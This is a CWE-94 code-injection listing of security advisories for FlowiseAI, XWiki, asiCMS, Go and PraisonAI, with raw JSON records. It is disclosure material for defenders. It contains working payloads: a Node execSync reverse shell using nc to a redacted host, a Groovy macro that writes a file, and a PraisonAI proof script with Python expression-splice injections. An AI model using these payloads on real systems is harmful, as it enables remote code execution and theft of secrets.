Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9452 vulnerabilities reference this CWE, most recent first.

GHSA-7944-7C6R-55VV

Vulnerability from github – Published: 2025-09-15 19:51 – Updated: 2025-10-17 20:23

Summary

FlowiseAI Pre-Auth Arbitrary Code Execution

Details

Summary

An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.

This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.

Details

FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237

image(3)

This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.

Exploit

We configured our environment to use Supabase entities as follows:

image(4)

To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:

image(5)

This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.

Subsequently, a reverse shell was successfully established using:

filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)

image(6)

This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.

Steps to Reproduce

Deploy a FlowiseAI instance with the Supabase vector store enabled.
Login as an admin user.
Drag in a Supabase node and configure "Supabase RPC Filter".
Insert a malicious payload in the filter expression, such as:

process.mainModule.require("child_process").execSync("id")
Trigger the chatbot or workflow to activate the node.
Observe execution of arbitrary code on the backend.

Impact

Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
Environment Leakage: Access to sensitive env variables like JWT_REFRESH_TOKEN_SECRET.
Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.

Trust Boundary Violation

The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.

This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.

Evidence

Environment variable leakage via malformed JSON

Reverse shell successfully triggered using attacker-controlled input

Credit

This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.5"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T19:51:08Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript\u0027s `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.\n\nThis results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.\n\n## Details\n\nFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`\n\n\u003cimg width=\"622\" height=\"177\" alt=\"image(3)\" src=\"https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b\" /\u003e\n\nThis creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.\n\n### Exploit\n\nWe configured our environment to use Supabase entities as follows:\n\n\u003cimg width=\"573\" height=\"765\" alt=\"image(4)\" src=\"https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf\" /\u003e\n\nTo confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:\n\n\u003cimg width=\"1920\" height=\"915\" alt=\"image(5)\" src=\"https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947\" /\u003e\n\n![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)\n![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)\n\nThis results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.\n\nSubsequently, a **reverse shell** was successfully established using:\n\n`filter(process.mainModule.require(\"child_process\").execSync(\"nc [REDACTED] 9999 -e /bin/sh\"), \"gt\", 5)`\n\n\u003cimg width=\"425\" height=\"475\" alt=\"image(6)\" src=\"https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4\" /\u003e\n\nThis proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.\n\n## Steps to Reproduce\n\n1. Deploy a FlowiseAI instance with the Supabase vector store enabled.\n2. Login as an admin user.\n3. Drag in a `Supabase` node and configure \"Supabase RPC Filter\".\n4. Insert a malicious payload in the filter expression, such as:\n    \n    `process.mainModule.require(\"child_process\").execSync(\"id\")`\n    \n5. Trigger the chatbot or workflow to activate the node.\n6. Observe execution of arbitrary code on the backend.\n\n## Impact\n\n- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.\n- **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.\n- **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.\n- **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.\n- **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.\n\n## Trust Boundary Violation\n\nThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.\n\nThis violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.\n\n## Evidence\n\n*Environment variable leakage via malformed JSON*\n\n*Reverse shell successfully triggered using attacker-controlled input*\n\n## Credit\n\n**This report was prepared by Team 404 Not Found \ud1f4\uadfc (WhiteHat School 3rd cohort, South Korea)**",
  "id": "GHSA-7944-7c6r-55vv",
  "modified": "2025-10-17T20:23:36Z",
  "published": "2025-09-15T19:51:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57164"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FlowiseAI Pre-Auth Arbitrary Code Execution"
}

GHSA-7954-6M9Q-GPVF

Vulnerability from github – Published: 2023-08-18 21:50 – Updated: 2023-08-18 21:50

Summary

XWiki Platform privilege escalation (PR)/RCE from account through Invitation subject/message

Details

Impact

Any user who can view Invitation.WebHome can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:

Open the invitation application (Invitation.WebHome).
Set the subject to {{cache}}{{groovy}}new File("/tmp/exploit.txt").withWriter { out -> out.println("Attacked from invitation!"); }{{/groovy}}{{/cache}}
Click "Preview"

Patches

The vulnerability has been patched on XWiki 14.4.8, 15.2-rc-1, and 14.10.6.

Workarounds

The vulnerability can be patched manually by applying the patch on Invitation.InvitationCommon and Invitation.InvitationConfig.

References

https://jira.xwiki.org/browse/XWIKI-20421
https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5-m-1"
            },
            {
              "fixed": "14.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.2-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-37914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-18T21:50:33Z",
    "nvd_published_at": "2023-08-17T18:15:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAny user who can view `Invitation.WebHome` can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:\n\n\n1.    Open the invitation application (Invitation.WebHome).\n1.    Set the subject to `{{cache}}{{groovy}}new File(\"/tmp/exploit.txt\").withWriter { out -\u003e out.println(\"Attacked from invitation!\"); }{{/groovy}}{{/cache}}`\n1.    Click \"Preview\"\n\n\n### Patches\nThe vulnerability has been patched on XWiki 14.4.8, 15.2-rc-1, and 14.10.6.\n\n### Workarounds\nThe vulnerability can be patched manually by applying the [patch](https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591) on `Invitation.InvitationCommon` and `Invitation.InvitationConfig`.\n\n### References\n- https://jira.xwiki.org/browse/XWIKI-20421\n- https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-7954-6m9q-gpvf",
  "modified": "2023-08-18T21:50:33Z",
  "published": "2023-08-18T21:50:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7954-6m9q-gpvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20421"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform privilege escalation (PR)/RCE from account through Invitation subject/message"
}

GHSA-7977-RJM6-8JG8

Vulnerability from github – Published: 2022-05-02 00:10 – Updated: 2022-05-02 00:10

Details

Multiple PHP remote file inclusion vulnerabilities in asiCMS alpha 0.208 allow remote attackers to execute arbitrary PHP code via a URL in the _ENV[asicms][path] parameter to (1) Association.php, (2) BigMath.php, (3) DiffieHellman.php, (4) DumbStore.php, (5) Extension.php, (6) FileStore.php, (7) HMAC.php, (8) MemcachedStore.php, (9) Message.php, (10) Nonce.php, (11) SQLStore.php, (12) SReg.php, (13) TrustRoot.php, and (14) URINorm.php in classes/Auth/OpenID/; and (15) XRDS.php, (16) XRI.php and (17) XRIRes.php in classes/Auth/Yadis/.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-4529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-10-09T18:14:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple PHP remote file inclusion vulnerabilities in asiCMS alpha 0.208 allow remote attackers to execute arbitrary PHP code via a URL in the _ENV[asicms][path] parameter to (1) Association.php, (2) BigMath.php, (3) DiffieHellman.php, (4) DumbStore.php, (5) Extension.php, (6) FileStore.php, (7) HMAC.php, (8) MemcachedStore.php, (9) Message.php, (10) Nonce.php, (11) SQLStore.php, (12) SReg.php, (13) TrustRoot.php, and (14) URINorm.php in classes/Auth/OpenID/; and (15) XRDS.php, (16) XRI.php and (17) XRIRes.php in classes/Auth/Yadis/.",
  "id": "GHSA-7977-rjm6-8jg8",
  "modified": "2022-05-02T00:10:56Z",
  "published": "2022-05-02T00:10:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4529"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45684"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6685"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4391"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31601"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/2755"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-79CW-X93G-Q95P

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-08-05 00:00

Details

Go before 1.14.14 and 1.15.x before 1.15.7 on Windows is vulnerable to Command Injection and remote code execution when using the "go get" command to fetch modules that make use of cgo (for example, cgo can execute a gcc program from an untrusted download).

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2021-3115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-427",
      "CWE-77",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-26T18:16:00Z",
    "severity": "HIGH"
  },
  "details": "Go before 1.14.14 and 1.15.x before 1.15.7 on Windows is vulnerable to Command Injection and remote code execution when using the \"go get\" command to fetch modules that make use of cgo (for example, cgo can execute a gcc program from an untrusted download).",
  "id": "GHSA-79cw-x93g-q95p",
  "modified": "2022-08-05T00:00:27Z",
  "published": "2022-05-24T17:40:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3115"
    },
    {
      "type": "WEB",
      "url": "https://blog.golang.org/path-security"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/mperVMGa98w"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YWAYJGXWC232SG3UR3TR574E6BP3OSQQ"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202208-02"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210219-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79FV-7HQ9-W7XG

Vulnerability from github – Published: 2026-10-08 19:36 – Updated: 2026-10-08 19:36

Summary

PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source

Details

API deploy code generator embeds unescaped YAML fields into Python source

Summary

PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

Technical Details

The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.

The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:

def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
    ...
    code = f'''"""
...
        praisonai = PraisonAI(agent_file="{agents_file}")
...
        "agent_file": "{agents_file}"
...
    app.run(
        host='{config.host}',
        port={config.port},
        debug={config.reload}
    )
'''

The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:

' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '

The generated startup code then becomes equivalent to:

app.run(
    host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
    port=8005,
    debug=False,
)

That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.

agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent_file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.

PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.

from pathlib import Path
import json
import sys
import tempfile
import types

import yaml


def install_stubs():
    class FakeApp:
        def __init__(self, name):
            self.name = name

        def route(self, *args, **kwargs):
            def deco(func):
                return func

            return deco

        def run(self, *args, **kwargs):
            return None

    flask = types.ModuleType("flask")
    flask.Flask = FakeApp
    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
    flask.jsonify = lambda obj: obj
    sys.modules["flask"] = flask

    flask_cors = types.ModuleType("flask_cors")
    flask_cors.CORS = lambda app: app
    sys.modules["flask_cors"] = flask_cors

    praisonai_mod = types.ModuleType("praisonai")

    class FakePraisonAI:
        def __init__(self, agent_file):
            self.agent_file = agent_file

        def run(self):
            return "ok"

    praisonai_mod.PraisonAI = FakePraisonAI
    sys.modules["praisonai"] = praisonai_mod


def main(repo):
    sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
    from praisonai.deploy.api import generate_api_server_code
    from praisonai.deploy.models import APIConfig
    from praisonai.deploy.schema import validate_agents_yaml

    install_stubs()

    with tempfile.TemporaryDirectory() as tmp:
        tmp_path = Path(tmp)
        host_marker = tmp_path / "host-marker.txt"
        file_marker = tmp_path / "agent-file-marker.txt"
        host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
        agents_yaml = tmp_path / "agents.yaml"
        agents_yaml.write_text(yaml.safe_dump({
            "deploy": {
                "type": "api",
                "api": {"host": host_payload, "port": 8005, "auth_enabled": False},
            },
            "agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
        }))
        parsed_config = validate_agents_yaml(str(agents_yaml))

        results = []
        for label, config in [
            ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
            ("malicious_host_from_yaml", parsed_config.api),
        ]:
            host_marker.unlink(missing_ok=True)
            code = generate_api_server_code("agents.yaml", config)
            compile(code, f"<generated-{label}>", "exec")
            exec(code, {"__name__": "__main__"})
            results.append({
                "case": label,
                "compiled": True,
                "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
                "marker_exists_after_startup": host_marker.exists(),
                "marker_contents": host_marker.read_text() if host_marker.exists() else None,
                "generated_contains_raw_host": config.host in code,
            })

        file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
        file_marker.unlink(missing_ok=True)
        code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
        compile(code, "<generated-agent-file>", "exec")
        namespace = {"__name__": "generated_agent_file"}
        exec(code, namespace)
        namespace["list_agents"]()
        results.append({
            "case": "malicious_agent_file_route_value",
            "compiled": True,
            "marker_exists_after_list_agents": file_marker.exists(),
            "marker_contents": file_marker.read_text() if file_marker.exists() else None,
            "generated_contains_raw_agent_file": file_payload in code,
        })

    print(json.dumps(results, indent=2))
    return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1


if __name__ == "__main__":
    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))

PoC

Command used against current source:

uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI

Decisive output:

[
  {
    "case": "safe_host",
    "compiled": true,
    "host_preserved_by_yaml_parser": null,
    "marker_exists_after_startup": false,
    "marker_contents": null,
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_host_from_yaml",
    "compiled": true,
    "host_preserved_by_yaml_parser": true,
    "marker_exists_after_startup": true,
    "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_agent_file_route_value",
    "compiled": true,
    "marker_exists_after_list_agents": true,
    "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
    "generated_contains_raw_agent_file": true
  }
]

The safe_host negative control compiles and evaluates the generated module without a marker side effect. The malicious_host_from_yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious_agent_file_route_value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.

Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents_file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

Affected Package/Versions

Package: praisonai

Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0

Static sweep:

Target	Result
`v4.5.128`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.58`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.59`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.60`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.62`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.63`	affected; raw `agents_file` and `config.host` interpolation present
current `1620b49f`	affected; raw `agents_file` and `config.host` interpolation present

Suggested severity: High

Suggested CVSS v3.1:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Suggested CWEs:

CWE-94: Improper Control of Generation of Code
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
CWE-116: Improper Encoding or Escaping of Output

Advisory History

The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate_api_server_code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents_file, not unauthenticated request access to the generated API.

This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate_api_server_code().

AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

References

src/praisonai/praisonai/deploy/api.py: generate_api_server_code() and start_api_server()
src/praisonai/praisonai/deploy/main.py: Deploy.from_yaml() and API/Docker deployment paths
src/praisonai/praisonai/cli/features/deploy.py: CLI deployment handler
GHSA-8444-4fhq-fxpq: prior praisonai deploy --type api generated API server authentication-default issue
GHSA-6rmh-7xcm-cpxj / CVE-2026-44338: prior generated API server authentication issue
CWE-94: https://cwe.mitre.org/data/definitions/94.html
CWE-95: https://cwe.mitre.org/data/definitions/95.html
CWE-116: https://cwe.mitre.org/data/definitions/116.html

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:36:29Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI\u0027s API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -\u003e str:\n    ...\n    code = f\u0027\u0027\u0027\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host=\u0027{config.host}\u0027,\n        port={config.port},\n        debug={config.reload}\n    )\n\u0027\u0027\u0027\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host=\u0027\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\u0027,\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (\u003cside effect\u003e and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n    class FakeApp:\n        def __init__(self, name):\n            self.name = name\n\n        def route(self, *args, **kwargs):\n            def deco(func):\n                return func\n\n            return deco\n\n        def run(self, *args, **kwargs):\n            return None\n\n    flask = types.ModuleType(\"flask\")\n    flask.Flask = FakeApp\n    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n    flask.jsonify = lambda obj: obj\n    sys.modules[\"flask\"] = flask\n\n    flask_cors = types.ModuleType(\"flask_cors\")\n    flask_cors.CORS = lambda app: app\n    sys.modules[\"flask_cors\"] = flask_cors\n\n    praisonai_mod = types.ModuleType(\"praisonai\")\n\n    class FakePraisonAI:\n        def __init__(self, agent_file):\n            self.agent_file = agent_file\n\n        def 